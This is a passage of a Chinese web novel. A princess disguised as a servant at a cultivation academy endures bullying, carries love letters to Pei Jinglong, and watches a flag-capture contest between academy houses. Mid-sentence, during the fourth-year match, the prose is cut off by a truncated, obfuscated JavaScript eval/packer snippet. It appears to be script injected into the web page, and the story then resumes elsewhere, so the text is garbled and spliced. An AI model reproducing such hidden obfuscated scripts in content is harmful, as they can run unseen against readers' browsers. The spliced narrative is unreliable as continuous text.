她刚为一位师姐布好材料,正准备退下,只听得那师姐的丹炉“砰”地一声闷响,随即一缕黑烟伴随着刺鼻的焦糊味冒了出来! “哎呀!我的凝露草!”那师姐发出一声懊恼的惊呼。 负责监督的教习闻声而来,眉头紧锁,声音严厉:“你怎么回事?连最基础的恒火诀都掌控不稳吗?这一炉凝露草价值几何,你不知道吗?” 那师姐的脸瞬间涨得通红,眼看就要当众受罚。她眼珠一转,忽然指着正准备悄悄溜走的小风,厉声喝道:“回禀教习!都怪这新来的小厮!他方才送来的地火石之心定是沾了水汽,秽了灵气,才害我火候骤然失控,毁了这一炉丹药!” 魏恒猛地僵在原地,难以置信地回过头。 她心中一股怒火“噌”地就烧了起来:“胡说!我送来前明明用引火符纸一一试过,每一块都干得不能再干!分明是你自己灵力浅薄,急于求成,才炸了炉!竟敢血口喷人!”她几乎就要脱口而出,将对方那点上不得台面的小心思驳斥得体无完肤。 可她抬起头,迎上的,却是那师姐眼中闪过的一丝得意的警告,以及教习那张本就对这个笨拙小厮没什么好感,此刻更是写满了“果然又是你”的冰冷面孔。 她知道,她不能说。一个小厮的辩解,在此时此地,比风中的落叶还要轻。 最终,魏恒只能将所有的愤怒与委屈都死死咽回肚子里。她低下头,瘦弱的肩膀微微颤抖着,模仿着那些在宫中犯了错的宫人的模样,用一种充满了恐惧和认命的声音,小声道:“是……是我的错,请教习责罚……” 那教习果然冷哼一声,拂袖道:“自己去戒律堂领十鞭子,出去!” 在众学子或同情或幸灾乐祸的目光中,魏恒默默地,屈辱地,退出了丹房。 几日后的一个雨天,通往湖心亭的汉白玉小径上,积了一层薄薄的冰冷雨水。 柳若霆正和几位好友,要去亭中赏那雨打残荷的景致。她刚要抬脚,却又看着自己脚上那双新换的用江南云霞缎裁制、鞋面还绣着一对精巧无比的并蒂莲的绣鞋,微微蹙起了眉头。 她一回头,便看到了正抱着一堆要替换的旧书卷从廊下经过的小风。 “喂,你!你叫......小风是吧?你过来。”她用手中那柄名贵的檀香扇,懒洋洋地指了指小风,又指了指面前那片积水的路面。 魏恒不明所以,连忙上前。 柳若霆用一种理所当然的语气说道:“看你这身子骨还算结实。趴到那水里去,给我们当个脚凳,让我们过去。” 魏恒的脑袋“嗡”的一声,仿佛被重锤击中!她呆呆地看着柳若霆那刻薄的脸,一时间竟忘了呼吸。 滔天的怒火与与生俱来的尊严,让她几乎就要将手中的书卷狠狠砸向那张带笑的脸! 但她终究还是忍住了。她的目光,扫过柳若霆身后那群学子,最终落在一个人的身上。 那个人被同行的学子称呼作“云姿”,应该便是那个全书院闻名的天市宫才子,纪云姿了。 在这一群紫微宫学子之中,纪云姿的气质显得格外出尘。她穿着一身天市宫的青灰色院服,那料子是极柔软的,垂顺而不起一丝褶皱,宽袖广袍,行走间带着一股书卷气的潇洒。腰间只松松系着一条与衣服同色的丝绦,上面挂着一枚小小的雕着兰草纹样的白玉佩,是她身上唯一的饰物。她不像柳若霆那般光彩照人,却如同一支雨后的青竹,一汪清可见底的寒潭,自有一种清雅矜贵、令人心折的风骨。 此刻,她蹙着眉头,那双带着平和笑意的眼眸中闪过一丝清晰可见的不忍。她张了张口,似乎想要出言劝阻。 然而,不等她开口,那群学子轻松而理所当然的谈笑声,瞬间便将纪云姿那句尚未出口的劝阻淹没得无影无踪。 纪云姿看着柳若霆那不容置喙的神情,又看了看眼前小厮那张倔强地咬着嘴唇却难掩屈辱的小脸,最终只能无奈地、几不可闻地叹了口气,将目光移开。 魏恒的心,也随着那声叹息,彻底沉入了谷底。 她听到自己,用一种近乎麻木的、听不出情绪的声音应道:“是,柳师姐。” 然后,在众人的注视下,她默默地放下书卷,走到那片冰冷的泥水前,闭上眼,屈下膝,就那么直挺挺地,将自己瘦弱的身体,俯卧在了那混杂着砂石与污秽的冰水之中。 她能感觉到,冰冷刺骨的水瞬间浸透了她单薄的衣衫,那几双穿着精致绣鞋的脚,带着或轻或重的力道,踩过她的后背,带起一阵阵混合着轻笑与催促的低语。 然而,当她以为所有人都已过去时,却感觉到有一道身影,绕开了她,从旁边的干地上,走了过去。 随即,那道身影停了下来。 魏恒依旧趴在冰冷的泥水里,没有动。她以为,那是某个人的又一种新的、更具羞辱性的戏弄。 可等了半晌,只有一只干净而温暖、如同上好暖玉般细腻修长的手,伸到了她的面前。 她愕然抬头,对上的,是纪云姿那双充满了歉意与不忍的眼睛。 她没有说话,只是静静地看着他,那眼神仿佛在说:“对不起,我没能阻止她们。但至少,我可以拉你起来。” 那一刻,魏恒只觉得那彻骨的冰冷与屈辱,仿佛都被那只手的温度,和那双眼睛里的善意,驱散了那么一丁点。 她呆呆地看着那只悬在她面前的手,心中那片湖面,第一次,被投下了一颗小小的石子,荡开了一圈微不可查的涟漪。 她才知道,原来在这个世界上,并非所有的高高在上,都伴随着理所当然的践踏。 当然,她面临的,也远远不止这样的践踏,还有来自同类的倾轧。 每日清晨,天还未亮,杂役房便已开始了一场无声的战争。 战争的核 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魏恒那瘦弱的身体,在这种无声的角力中,根本挤不进去。她曾试过一次,想要去拿那枚离她最近的、写着“厨房帮佣”的竹牌,却被一个高大的少男用胳膊肘不轻不重地一撞,脚下一个趔趄,再抬头时,盘中便只剩下了那些散发着不祥气息的“下下签”。 她站在人群外,看着那些抢到好活计的少男脸上那得意的、如同打了胜仗般的神情,只能默默地弯下腰,捡起了那枚无人问津的、刻着“净房洒扫”的冰冷竹牌。 在一次清洗兽栏时,被冰冷的井水从头浇到脚,又在寒风中站了半个时辰之后,魏恒病倒了。 她躺在那张只铺了一层薄薄茅草的硬板床上,浑身滚烫,骨头缝里却像是钻着冰碴子,冷得她直打哆嗦。头晕目眩,喉咙干得像是要冒火。 她强撑着向杂役管事告假,换来的,却只是对方一个不耐烦,同时夹杂着鄙夷的眼神,以及一碗黑乎乎的,不知用什么野草熬成的苦得让人舌头发麻的药汤。 “病了?这院里谁没病过?”管事的声音粗哑难听,“喝了这碗药,赶紧把西边茅厕给刷了,那儿的味儿都快熏到天上去了!别想着偷懒!” 魏恒端着那碗散发着古怪气味的药汤,手都在发抖。 她再也忍不住,扶着墙角,剧烈地咳嗽起来,咳得眼前阵阵发黑,几乎要栽倒在地。可周围来来往往的杂役和学子,没有一个人停下脚步,甚至没有人多看她一眼。 那一刻,魏恒忽然明白了。 原来,在这世上,并非所有人,都有生病的资格。或者说,有资格被心疼地对待。 尊严…… 或许从来都只附着在灵主、太子这些身份之上。当她只是一个力者,一个小厮时,她的病痛,她的感受,便与路边的野草一样,无人在意,也一文不值。 她裹紧了那床散发着潮湿霉味的薄被褥,在发烧带来的一阵阵的眩晕与寒战中,这几日里那一幕幕屈辱难堪的回忆,不受控制地在脑海中反复上演。 一股混杂着愤怒、委屈与不甘的情绪,如同毒火般在她心中烧灼。 学子们势利刻薄,那个管事更是冷酷无情......这书院里,就没一个好人! 然而,就在她被这些愤懑的情绪裹挟,几乎要沉沦下去时,太师雍华鹤那温和却又带着几分警醒的声音,却毫无预兆地,在她混乱的脑海中响了起来。 她想起某一个因一桩极小的事而感到委屈的午后,雍华鹤曾抚着她的头,柔声对她说过: “殿下,与人交往,不必求全,更不必过分在乎她人一时的态度。您要学的,是试着站在对方的立场上,去分析对方为何会如此言、如此行。动机解开了,那看似不可理喻的态度,便自然而然地明了了。” “殿下未来是要君临天下之人。若心胸没有容纳百川的广阔,没有设身处地的格局,只会被她人的三言两语牵动心神,只会无脑地抱怨周遭一切,那不如去做那喜欢在背后说三道四的市井小民,便莫要当这个王上了。” 雍华鹤的话,如同在魏恒那滚烫混乱的脑海中,注入了一道清冽的微风。 她开始发着抖,强迫自己不再去回味那些屈辱的感受,而是试着去分析。 她那因为高烧而昏沉的头脑,竟奇迹般地清明了些许。 她们并非针对小风,而只是在遵循这个世界最根深蒂固的规则。她们中的多数,尤其是家世优越的师姐,在这个只凭着天性和直觉生猛行事的年纪,行为动机非常简单:我需要,我获取,我使用。 她们从出生起,身边就有无数个像小风一样的仆役。他们沉默、顺从,唯一的任务就是满足她们的一切需求。在她们截至目前的生命里,可能从未有一个力者敢于直视她的眼睛,更遑论与她们平等对话。她们所学习的典籍,歌颂的是灵主的丰功伟绩;她们所接受的教诲,是如何成为一个更强大的、能光耀家族的灵主。 这种环境,会让她们从骨子里就认为,“他们,就该是这样子的,就该被这样对待。” 当然,这个“她们”,也是她自己。若没有像此刻这样作为小风生活过,她对这样身份低微的力者小厮的态度,或许和她们不会有什么不同。 而太师教她的,便是要让她拥有跳出“小风”这个身份,以旁观者的视角,去看待这一切的能力。 这一刻,魏恒依旧觉得寒冷、饥饿,且无比的孤独。 但她的心中,那份属于孩童的委屈,却似乎悄然淡去了一些,取而代之的,是一种更为沉重,也更为清醒的思考。 几日后,她的病渐渐自愈了,而整个北辰钟灵书院的气氛,都悄然变得不同了。 往日里那份清冷肃杀的苦修之气,被一种难以抑制的、混合着兴奋、紧张与竞争意味的喧嚣所取代。平日里鲜少走动的各宫学子们,如今也时常三三两两地聚在各处的试炼场或空地上,低声讨论着什么。魏恒甚至好几次看到,有紫微宫的师姐在悬崖边的空地上,练习着一种极其高妙的身法——她们竟能将灵力凝聚于脚下,在空中极其惊险地踏出一步或两步。 杂役房的活计,也因此变得格外忙碌。师姐们开始差她去送一些看不懂的阵法图纸,或是去取一些平日里用不到的,用于加固或提速的特殊矿石粉末。 直到她从一位相熟的老杂役口中得知,原来,是一季一度的,整个书院最盛大的赛事——踏虚竞渡,马上就要开始了。 所有人,都在为了那份荣耀而积极备战。 这一日午后,她刚将一捆沉重的用于篆刻符文的青竹,从山下搬到天市宫的工坊外,累得气喘吁吁,正准备歇口气,一个温和的声音却叫住了她。 魏恒回头,看到一位穿着天市宫院服的师姐,正站在不远处的廊檐下对她招手。 魏恒连忙上前,躬身行礼:“师姐有何吩咐?” 师姐显得有些紧张。她将小风拉到一处更僻静的角落,确认四周无人后,才从自己的袖中极其小心地取出一封信来。 那信,被封得极其庄重和美观。信封用的是一种泛着淡淡玉色的硬质信笺,上面还用银线描着清雅的云纹。封口处,则用上好的紫红色火漆仔仔细细地封了,上面还盖着一个极其精巧,大概是她私人印鉴的小篆。 “这个……”这位师姐将信塞到小风手里,脸颊变红了,压低声音,煞有介事地叮嘱道,“这个东西,极其重要!绝不能让旁人看见!你务必、务必亲手,将它交到紫微宫的裴景珑手里。知道了吗?” “裴景珑” 当这三个字,从这位师姐口中轻飘飘地吐出,再钻入魏恒的耳朵里时,她只觉得自己的心脏突然开始狂跳! 对啊......四年前分别时,珑儿姐姐说她要去的书院,不就是这北辰钟灵书院吗! 那个嬉闹玩耍的午后已过去四年,但那张小纸条,一直完好地夹在魏恒最喜欢的那本札记册籍里。 她下意识地低头,看了看自己身上这身洗得发白的粗布短衫,看了看自己那双因为搬运青竹而沾满灰尘,甚至起了薄茧的小手。 一股奇异的,混合着无数种情绪的暗流,瞬间冲上了她的头顶。 她听到自己,用那个属于小风的声音,低低地应道: “是,师姐。我一定亲手送到。” 25. 踏虚竞渡,刹那眼前是故人 奇异的是,这第一封信只是一个开头。 昨日,是玉衡宫一位平日里只知埋首故纸堆的师姐,将一卷用素色丝带系好、散发着淡淡书卷气的信笺塞给她;今日,又是紫微宫一个向来以高傲闻名的师姐,用一种不容置喙的命令口吻,将一封没有任何装饰的挑战书抛给她。 甚至,连天市宫有些专心侍弄花草、平日里不问世事的学子,也会在某个午后,托她送去一包据说是能凝神静气的新晒的花草茶。 她们的学宫不同,年级各异,性格也天差地别。但当她们偷偷摸摸地将她拉到僻静处,从袖中取出那些或精美、或质朴的信件与物件时,最终从口中吐露出的,却都是同一个名字—— “裴景珑。” 每一次听到这个名字,魏恒的心,都会产生一份夹杂着莫名喜悦的小鹿乱撞,当然,也有几分挥之不去的小小酸涩。 小风如同一个最忠实的秘密信使,穿梭于书院的各个角落。那些被精致火漆封缄、散发着各色香气的信笺,在她手中无比滚烫,像是一扇扇小小的,能窥见她那位“珑儿姐姐”精彩生活的窗户。 这是裴景珑所处的世界。鲜活,热烈,被所有人瞩目、关心、挑战、爱慕着。 而她自己,这个唯一知晓所有秘密的信使,这个比所有人都先认识她的人,似乎比那些写信的人,离她更近一些。 这份认知,让她那份小小的酸涩之中,又生出了一丝隐秘的得意。 魏恒原以为,这不过是桩再简单不过的差事。书院说大不大,她又是那般耀眼的人物,寻个由头去紫微宫的试炼场附近转转,总能碰上。 可她怀揣着那几封被捂得温热的信,第一次满怀着复杂的心绪摸到紫微宫那片最大的试炼场时,却扑了个空,场上并无那个熟悉的身影。她向一位正在场边喝水的师姐打听,那师姐只懒懒地瞥了她一眼,语气里带着几分理所当然的骄傲:“裴景珑?她如今的水平,哪里还和我们一道。今日一早就被雷法堂的首席教习叫去后山的天剑坪开小灶了。” 魏恒碰了一鼻子灰,只得悻悻而归。 第二日,听闻踏虚竞渡的队伍都在各自的山头演练战术,便又满怀希望地爬上了天市宫这边能遥遥望见紫微宫一处险峰的观景台。 果然,只见远处那座被云雾缭绕的山峰场地上,是有一些正在其中穿梭演练的身影。她们各个动作敏捷,周身不时有各色光电闪烁。然而两峰相隔足有数百丈,中间是万丈深渊,别说她现在是一个小厮,便是会飞的鸟儿也未必能轻易过去。她只能远远地看着,手中的信,却无论如何也递不到那边的人面前。 又过了两日,她手中的信已经攒到了六、七封。她打听到,裴景珑今日并未外出训练,而是在藏星阁内查阅古籍。魏恒心中一喜,觉得这次总该成了。 当她好不容易干完手中的活,兴冲冲地跑到那座如同巨兽般庄严肃穆的石殿前时,却被门口一位不苟言笑的高年级执事师姐拦了下来。 “藏星阁重地,杂役不得入内。”那师姐的目光,如同尺子般在她身上一量,冰冷而刻板。 “师姐,”魏恒连忙陪着笑,将怀里那几封信捧了出来,“是几位师姐托我,将这些信件,送予紫微宫的裴景珑师姐。” 那执事师姐皱了皱眉,似乎对这种情信满天飞的状况颇为不屑,淡淡道:“那你放在这吧。待她出来,我自会转交。你可以下去了。” 说罢,便不再看她一眼。 若是旁的小厮,得了这话,怕是早就如蒙大赦,赶紧将这烫手的山芋交出去了事。可魏恒的脚步,却像是在地上生了根,分毫未动。 她想起那些师姐们,无论是骄傲的还是羞怯的,在将信件交予她时,眼中那份充满了郑重与期盼的神情,以及那句反复叮嘱的“务必亲手交到她手上”。 受人之托,忠人之事。便是再小的嘱托,也不能轻慢。这是太师教给她的第一课。 她深吸一口气,将捧着信的手又往怀里收了收,随即对着那执事师姐,用一种混合着卑微与固执的语气,恭敬地说道:“回师姐的话。这几位师姐托付时,都特意叮嘱了,需得亲手交到裴师姐手上才行。小的既然应下了,便不敢违了她们的嘱托。” 那执事师姐闻言,显然是愣了一下,随即眼中闪过一丝夹杂着惊奇与更多不耐烦的神色,仿佛在看一个什么稀奇的怪物:“哦?你倒是个忠心的。只是不知裴师姐何时才会出来,或许是半个时辰,或许是到明日清晨。你若愿意等,那便等吧。” 她说完便不再理会,自顾自地转身,如同一尊石像般守在了门内。 魏恒寻了一处不甚起眼也不妨碍她人通行的石阶角落,将那几封信小心翼翼地揣入怀中,然后,就那么抱着膝盖安安静静地坐了下来,目光始终不曾离开那扇紧闭的石门。 她这才后知后觉地发现,在这个临近大赛的节骨眼上,想要找到那个如今声名鹊起、忙得脚不沾地的裴景珑,竟成了一桩难如登天的任务,她觉得又好气又好笑。 等了大约半个时辰,一个路过的杂役管事看见了小风,如同见了救星般,匆匆向她走来。 “小风!就是你!别在这儿闲坐着了!”那管事不由分说地把她提溜起来,“后日便是踏虚竞渡,地枢峰那边的观众席还缺人手布置,看你还算机灵,快随我来!” 魏恒眼看着那扇或许下一刻就会打开的藏星阁大门,却也只能认命地被拉走了。 如此又过了一日,终是到了踏虚竞渡正式开始的日子。 整个北辰钟灵书院,都从往日的清冷肃杀中苏醒,陷入了一种近乎沸腾的狂热之中。空气里,不再只有冰冷的山风与稀薄的灵气,而是充满了期待和战意,以及各种小食摊飘来的勾人气息。 这些小食摊并非商贩所设,而是由学子们自己动手做的家乡特色小吃。平日里书院严禁烟火,也只有在踏虚竞渡这样的大赛日子里才会被默许。 魏恒跟在管事身后,一双眼睛几乎都看不过来了。 有南境来的师姐,正将一条条裹着秘制酱料的小鱼投入滚烫的油锅中,炸得金黄酥脆,再捞出裹上满满的、红油赤酱的香料,那便是百味穿心鱼; 有北地出身的师姐,正将大块的雪狼肉在炭火上烤得滋滋作响,再用快刀片下,夹进刚出炉的、热气腾腾的白面饼里; 一些平时喜欢炼丹炼药的玉衡宫学子,这次也支起小炉,将某种形似菌菇、细如金丝的食材,裹上一层薄薄的面衣,炸成一团团奇形怪状、却又香气扑鼻的黄金缕…… 这些吃食全然不像宫中御膳房那般,讲究的是食材的本味与清淡雅致。它们烈火烹炸,红油赤酱,卖相生猛。那股混杂着辛辣、焦香与浓郁酱料的气息,一下下挠着魏恒的五脏六腑,让她这一路走来口水都快要流干了。 她想起了太子殿小厨房里那上百道精致却味淡的菜品,第一次觉得,那些东西还不如眼前这块滋滋冒油的烤肉来得诱人。 可是她摸了摸自己那比脸还干净的口袋,最终也只能狠狠地咽了咽口水,继续跟着管事,去干那些擦拭栏杆的活儿。 那些即将参赛的学子们,早已换上了各宫特制的便于行动的赛服,或在自己的备战区闭目养神,或围在各自的教习身边,聆听着最后的战术叮嘱。 而无需参赛的学子们,则早已三三两两、呼朋引伴,兴高采烈地向着最佳的观赛点涌去。她们一边走,一边还为自己看好的队伍下着几枚铜钱或一份小吃的赌注。 小风这样的杂役则是最忙碌的。他们需要将绘制着各宫图腾的巨大旗帜悬挂在陡峭的崖壁之上;需要在各个观赛点,为师姐们布置好茶水与点心;更要一遍遍地擦拭那些冰冷的石质栏杆,确保其一尘不染。 魏恒一边干着活,一边好奇地打量着这壮观的景象。 比赛的场地,便是书院最核心的两座主峰——撼岳峰与惊岚崖。双峰隔着一道宽达数百丈的巨大裂谷遥遥相望,谷底是终年翻涌不休的云海,凛冽的罡风在其中呼啸穿行,发出如同龙吟般的声响。而在两座山峰靠近悬崖的一处最险要的石台之上,各插着一面代表己方的巨大灵旗,在风中招展。 而观众席,则设在正对裂谷的第三方山峰——地枢峰的崖壁之上。那崖壁如同被神人用巨斧劈开,形成了一片天然的巨大观景台。 最高处,是专为莫万方宗师和各宫首席教习们准备的,可以隔绝风寒的琉璃暖阁。往下,则是依山势开凿出而出,足以容纳全院学子的石阶坐席。此刻,那些坐席早已被各色身影填满——紫微宫的紫色、天市宫的青灰色、玉衡宫的月白色,泾渭分明,如同在山壁上铺开了三块代表着不同力量的巨大锦缎。 小风则和所有杂役,以及破军殿的学子们一起,只能站在最低处、也最边缘的区域,踮着脚尖,从人群的缝隙中,遥遥地望着那云海之上的赛场。 吉时已到。只听一声悠扬古老的号角声响彻云霄,一位玉衡宫的执事教习,运用灵力,将自己的声音清晰地传遍了整个山谷: “肃静!踏虚竞渡,乃我北辰书院之盛事,旨在考验尔等灵力操控、团队协作与实战应变之能!” “规则如下:双方各三人一队,分别为夺旗手、开路者与护卫者。比赛开始后,需以凝灵踏虚之法,横渡断云裂谷,夺取对方灵旗,并成功带回己方山峰。期间,可使用任何灵术相互攻击,和干扰。” “率先将灵旗插回己方旗台者胜!” 随着她话音落下,撼岳峰与惊岚崖两端,数道颜色各异的、代表着参赛队伍的灵力光焰,冲天而起! 整个地枢峰观赛台,瞬间爆发出山呼海啸般的、震耳欲聋的欢呼与呐喊! 率先登场的,是具有参赛资格的最低年级——二年级学子的对决。 虽然只是二年级,但能代表各队出战的,无一不是同辈中的佼佼者。随着执事教习高声唱名,两队共六名不过七、八岁左右的学子,英姿飒爽地出现在了撼岳峰与惊岚崖两端的出发台上,引来看台上一阵阵热烈的欢呼。 左手边是紫微宫学子的队伍。她们的开路者是一位擅长火灵的学子,神情骄傲,眼神充满了攻击性;夺旗手是一位风灵学子,身形轻巧,跃跃欲试;护卫者则是一位专精土灵防御的学子,神情沉稳。这是一支攻守兼备、风格极其硬朗的典型强攻队伍。 而右手边,则是玉衡宫学子的队伍。她们的开路者和夺旗手,皆是宫中以身法灵动著称的风灵学子,而她们的护卫者,则是一位据说在幻术和阵法上颇有不凡天赋和心得的学子。 魏恒凭借着自己的单薄挤到了看台最前面,踮着脚尖,紧张又兴奋地望着那数百丈宽的断云裂谷。她虽然无法参与,但那呼啸的风,那激昂的战鼓,那万众瞩目的氛围,还是让她体内的血液,不受控制地沸腾了起来。 “咚——!” 开赛的钟声响起! 几乎是在同一时间,紫微宫队伍的火灵开路者便率先发难!只见她双手一张,数枚人头大小的爆裂火球便呼啸而出,如同一排精准的炮火,直直地轰向对面流云队的出发台,试图进行最直接的火力压制。 而就在这片火光的掩护下,同队的风灵夺旗手身形一动,脚下瞬间凝聚出数道青色的气流之阶,她身轻如燕,踩着那些在虚空中不断生灭的阶梯,以惊人的速度,如同一支离弦之箭般,向着对面惊岚崖的灵旗方向,直线冲刺而去。 这正是紫微宫最经典也最野蛮的战术——以力破巧,强攻突进! 魏恒看得眼睛发亮,拳头都握紧了。 然而,面对这雷霆万钧的攻势,对面玉衡宫的队伍,却做出了一个出人意料的应对。 只见她们那位护卫者不慌不忙,双手结印,一面由水汽凝结而成、半透明的巨大漩涡状水盾便凭空出现,将那些火球尽数卷入、消解,化作漫天蒸腾的白汽。 紧接着,她指尖再动,那弥漫开来的浓厚水汽,竟如同拥有生命般,迅速在两座山峰之间,形成了一片伸手不见五指的浓雾幻境。 紫微宫的夺旗手一头冲入浓雾,立刻便迷失了方向,速度大减。而玉衡宫的那位夺旗手却如同游鱼入水,借着浓雾的掩护,脚下凝聚出更加隐蔽的风旋,悄无声息地,从一个谁也想不到的角度,向着紫微宫的旗台潜行而去。 一场直来直往的竞速,瞬间变成了一场在云海浓雾中的捉迷藏。 高空之中,双方的开路者开始了激烈的灵力对轰。紫微宫队伍的火球狂暴无比,却屡屡因为被浓雾遮蔽视野而打空;玉衡宫队伍的风刃则刁钻狠辣,如同毒蛇般,总能从最意想不到的角度穿透雾气,进行骚扰。 而更关键的,是护卫者之间的博弈。紫微宫队伍的土灵护卫,不断在己方夺旗手可能经过的路线上凝聚出坚固的岩石踏板,试图为她铺就一条稳固的通路。而玉衡宫的护卫则不断在浓雾中布下陷阱——时而是一片由水汽凝结、光滑无比的冰面,时而又是能扭曲方向的微型幻术阵法,让紫微宫队伍的夺旗手苦不堪言,好几次都险些踏空,引来看台上一阵阵惊呼。 这已经不是单纯的力量比拼,而是战术与智慧的较量。 魏恒看得目瞪口呆,心中第一次对玉衡宫的那些辅助灵术产生了浓厚的兴趣。 战局在僵持了约一炷香后,终于迎来了转折点。 紫微宫的夺旗手在久攻不下之后显得有些急躁,她抓住一个敌方护卫者布下的幻术被己方开路者火球击散的瞬间,不顾一切地全力冲刺,终于成功地绕过了对手的拦截,一把将敌方的灵旗从旗台上拔了起来! “夺旗了!”看台上的紫微宫学子们爆发出巨大的欢呼! 然而,就在紫微宫夺旗手转身准备返程,脸上露出胜利笑容的那一刻,只见玉衡宫那位一直看似只是在被动防御的护卫者,双手猛地合十,口中轻叱一声:“阵起!” 瞬间,那片一直笼罩着战场的浓雾,竟不再是单纯的雾气!无数道之前被她悄然布下的、隐藏在雾气中的灵力丝线骤然亮起,构成了一个巨大的、如同蛛网般的复合型阵法。 紫微宫的夺旗手只觉得脚下一空,原先还能勉强借力的气流瞬间变得粘稠如沼泽,速度锐减!而她们那位负责防御的土灵护卫,更是惊骇地发现,自己脚下那块坚固的岩石踏板,竟被阵法之力迅速侵蚀、分解。 “不好!是陷阱!” 但是一切都太迟了。 玉衡宫的开路者与夺旗手仿佛早已演练了千百遍,抓住这稍纵即逝的机会,同时发起了反击!两道无比凝练的风刃精准地切断了紫微宫夺旗手返程的路线,而那夺旗手则以一种行云流水般的姿态,轻松地从惊慌失措的对手手中,夺过了那面灵旗! 最终,在全场观众的惊叹声中,玉衡宫的夺旗手脚踏风旋,身形灵动地带着两面灵旗,稳稳地落回了己方的出发台上。 “玉衡宫胜!” 魏恒站在人群的角落里,目瞪口呆,久久未能回过神来。 她在心中一遍又一遍地感叹,自己这是错过了多少有意思的事啊! 接下来的一个时辰里,赛事继续。三年级的对决,其激烈程度与战术的复杂性,又远胜二年级。有的队伍效仿紫微宫战术,以极致的灵力对轰,试图在开局便建立优势;也有队伍将玉衡宫的陷阱流战术发扬光大,在空中布下层层叠叠的幻术与束缚阵法,让对手寸步难行。 各种奇思妙想的战术与令人眼花缭乱的灵力技巧,看得魏恒如痴如醉,也让她对自己踏入的这个书院,有了更深刻,也更敬畏的认识。 终于,当执事教习那被灵力加持过的威严之声再次响彻云谷时,整个地枢峰观赛台的气氛,骤然一变。 “下一场,四年级组对决!” 仅仅是这一句,便如同在滚油中投入了一滴水,瞬间引爆了全场! 方才还只是热烈的氛围,此刻竟化作了近乎癫狂的呐喊与尖叫!仿佛这一刻,才是所有人真正期待已久的盛宴! 主持教习似乎也早已习惯了这等场面,她顿了顿,待那声浪稍稍平息,才高声唱名道: “对阵双方——” “紫微宫,开路者,裴景珑!夺旗手……” “天市宫,开路者,纪云姿!夺旗手……” 教习后面的话,几乎已经完全被淹没在了新一轮、更加狂热的声浪之中! 参赛者甚至还未出场,整个观赛台便已自发地分裂成了两派。 一边,是以紫微宫学子为主的深紫色的海洋。她们激动地站起身来,用力地挥舞着手臂,整齐划一地、用足以震动山谷的声势,狂热地呼喊着那个她们引以为傲的名字: “裴—景—珑!!裴—景—珑!!” 而另一边,由天市宫和玉衡宫的学子们组成的那片青灰色与月白色的阵营,也毫不示弱!她们的呼声不如紫微宫那般充满了攻击性,却带着一种极其坚定的力量,汇成一股同样不可小觑的音浪: “纪—云—姿!!纪—云—姿!!” 魏恒被这山呼海啸般的气氛震得耳膜嗡嗡作响,而她的心,却早已不受控制地狂跳起来,几乎要提到了嗓子眼! 裴景珑!珑儿姐姐!真的是她!那个她阔别四年,又苦寻数日的身影,终于要见到了吗? 她长成什么样子了?是不是也长高了许多? 一股混杂着紧张、期待、与即将见到故人的巨大喜悦,让她的手心都沁出了细汗。 可紧接着,是更大的困惑与震惊。 纪云姿?她做开路者?那个最需要用狂暴灵力去冲锋陷阵、为全队打开局面的位置?这也太反差了吧...... 她呆呆地望着即将有两个“超级明星”登场的出发台,一颗心,一半因为裴景珑而激动地狂跳;另一半,则因为纪云姿那与她举止不符的安排,而充满了巨大的好奇与期待。 随着执事教习一声入场令下,两道身影,几乎是同时出现在了撼岳峰与惊岚崖的出发台上。 刹那间,整个地枢峰观赛台的欢呼声,如同被点燃的火药桶,轰然炸响! 魏恒死死地盯着撼岳峰上那个熟悉又陌生的紫色身影,几乎忘记了呼吸。 四年未见,她早已不是当年那个带着点婴儿肥的小女孩。如今的她,身量高挑,四肢修长,一身剪裁得利落无比的深紫色赛服,将她那充满了爆发力的身形勾勒得淋漓尽致。她的长发高高束成一条干练的马尾,露出光洁饱满的额头和一双更加锐利也更加深邃的眼睛。 而在她对面惊岚崖上的,正是纪云姿。她倒是没换上赛服,依旧是一身天市宫的青灰色院服,宽袖广袍,手持一管古朴的玉箫,神情平和温润,在那山呼海啸般的喧嚣中,宛如一株遗世独立的青竹,自有一股宁静悠远的气韵。 一个如雷,一个如竹。 一个蛮横,一个清雅。 两个截然不同、却又同样光芒万丈的身影,遥遥相对,光是这开场的气势,便已让所有人血脉偾张! “咚——!!!” 开赛的钟声,如同天神的战鼓,重重敲响! “上!” 几乎是在钟声落下的瞬间,裴景珑便动了!她发出一声清越的厉喝,没有丝毫试探,整个人如同一道紫色的闪电,悍然踏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而纪云姿则脚踏着一丛丛不断在虚空中生灭的墨韵青竹,身形飘忽不定,如同在风中漫步的谪仙。 她时而以玉箫格挡,引动气流,将电蛇引向空处;时而又吟出一句“金鳞耀日凝天光”,让周身瞬间浮现出数面由音律构成的,如同金色鳞片般不断旋转的防护音盾。 一场惊心动魄的对决,就在这数百丈的裂谷之上展开。 裴景珑的每一次攻击,都充满了雷霆万钧的毁灭性力量。她脚下的雷光踏板所过之处,连空气都仿佛在焦灼嘶鸣! 而纪云姿的每一次应对,都充满了举重若轻的从容与潇洒。她脚下的墨韵青竹在虚空中时隐时现,每一次落脚,都恰好能避开最致命的攻击,每一次反击,都并非硬碰,而是以巧破力,以意境扰敌。 两队的夺旗手也在这激烈的交锋中,开始了各自的行动。裴景珑的队友试图借着她强大的火力掩护强行突进,而纪云姿的队友,则在纪云姿创造出的那充满了诗意的而真假难辨的领域中,悄然迂回。 战局陷入了一种极其精彩、也极其焦灼的平衡。 看台上,支持双方的呐喊声此起彼伏,早已连成一片,所有人都看得如痴如醉。 就在这时,久攻不下的裴景珑,似乎终于失去了耐心。 “云姿!游戏结束了!”她发出一声清叱,眼中战意狂燃,只见她不再凝聚任何具象的攻击,而是将全身的雷霆灵力毫无保留地催发到极致。以她为中心,一张由无数道紫色电弧交织而成的,覆盖了方圆数十丈的巨大雷网,如同天倾般,向着纪云姿当头罩下! 这一击,避无可避,退无可退!是纯粹的,不讲任何道理的范围性力量碾压。 而纪云姿,看着那即将笼罩一切的雷网,脸上非但没有丝毫惧色,反而露出了一个极其清浅,仿佛早已等候多时的笑容。 她没有像裴景珑那样爆发出狂暴的能量,反而将手中的玉箫轻轻横于身前,闭上双眼,用一种如同梦呓般带着独特韵律的声音,轻声吟道: “神弦绷断天将雨,龙骨成灰地生光……” 